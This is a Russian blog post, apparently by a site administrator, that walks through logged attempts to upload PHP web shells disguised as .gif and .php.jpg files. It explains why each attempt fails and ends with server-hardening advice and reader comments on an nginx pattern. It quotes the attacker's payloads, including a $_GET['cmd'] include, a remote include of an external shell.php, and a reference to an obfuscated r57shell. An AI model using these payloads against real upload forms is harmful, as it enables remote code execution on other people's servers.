Hacking часть III
Застал опять в логах наинтереснейшую историю, длилась которая без малого 2 часа. Где искали дырку – стандартно в загрузке файлов. Здесь необходимо оговориться, что файлы можно загружать разные, не только картинки, а к примеру pdf, zip, doc, xls и т. д. Попытки пронумерую (для удобства отсылки к уже поясненному материалу) и прокомментирую. Кстати, нечто подобное уже было (см. здесь), но не совсем то. И так, приступим!
1., 2. Первая и вторая попытка в 22:23, файл cmd.gif и images.gif (зачем два непонятно) следующего содержания:
<?php include($_GET["cmd"]); ?>
Такое в принципе возможно, т. к. в изображение можно добавлять комментарии, в которые и можно вставить PHP код. Функция getimagesize при этом будет возвращать реальный размер картинки без ошибок. Но такая лазейка возможна только если на сервере файлы .gif передаются на обработку PHP. Некоторые вкорячивают обработку и для html, что то тоже моветон.
3. В 22:26 было решено попробовать в файле 123.php.jpg втупую впихнуть код:
Такое вариант тоже может прокатить, но только при условии не внимательного конфигурирования обработки php, как то вот так
Допускаю что такое может придти в голову, если используются несколько разрешений, к примеру .php, php3, php5. Но вообще ИМХО такое уже давно не встречается.
4. В 22:38 (дальнейшее штудирование «хакинга для чайников» подсказало) решено объединить п. 1 и п. 3 опять же в gif cmd2.gif для конструкции
<?php include("http://внешний-URL/shell.php"); ?>
Данная конструкция нежизнеспособна, т. к. нежизнеспособен способ из п. 1, а если бы даже обработка изображений отдавалась на php, то в php.ini есть параметр, который по умолчанию выключен и включать его нет совершенно никакой необходимости:
allow_url_include = Off
5. Следующая попытка в 22:43 с файлом cmd3.php.txt и содержимым:
не очень интересна, т. к. была заранее обречена на провал.
6. А вот здесь, через две минуты, уже пошел работать ум пытливого хакера, в подсознании всплывали обрывки мыслей про другие скрипты, JavaScript`ы. А что, вдруг в разметку легким взмахом клавиш можно таки встроить PHP. И так, слабонервных отойти от экрана – файл cmd4.php.txt:
А мужики то и не знают…
7. 22:52 333.php.jpg
8. 23:01 777.gif
Здесь даже комментировать нечего, просто .gif попытка url_include – epic fail
9. Три попытки xxx.gif, xxx1.gif и xxx2.gif – завернутый в 3 конструкции eval( gzinflate( base64_decode( так называемый r57shell web shell. Только вот как он должен был заработать, если не заработал предыдущий вариант – непонятно
10. И опять за старое – 23:55 qwe.gif
11. 00:10 qqq.gif
Здесь совершенно не понятно что собиралось писаться в файл, т. к. в настройках стоит register_globals = Off и конструкция вида qqq.gif?file=%3C%3Fphp+include%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E не проканала бы
12. 00:12 zzz.gif
<?php echo "porn"; ?>
Из разряда дайте уже хоть что нибудь )))
13. Ну и последняя попытка 00:14 fff.gif
<?php include($_GET['cmd']); ?>
В качестве послесловия. Все мы люди и при написании кода забыть какую нить проверку при загрузке файла можно легко, поэтому надо отдельное внимание уделять настройкам сервера. Никаких register_globals = On, allow_url_include = On и т. д. Но самое главное, весь загружаемый контент не предназначен для выполнения, а только для отдачи. Поэтому обязательно, для всех директорий куда кладутся загружаемые файлы необходимо убирать обработку PHP, примерно вот так:
Март 6th, 2011 at 16:32
Точно ли конструкция
location ~ \.php
в конфиге Nginx ропустит 123.php.jpg к интерпретатору?
Март 6th, 2011 at 21:20
Да, на всякий случай только что проверил
такая вот конструкция
пропускает все что имеет .php и не обязательно на конце, в том числе и файлы 123.php.jpg
Должно быть так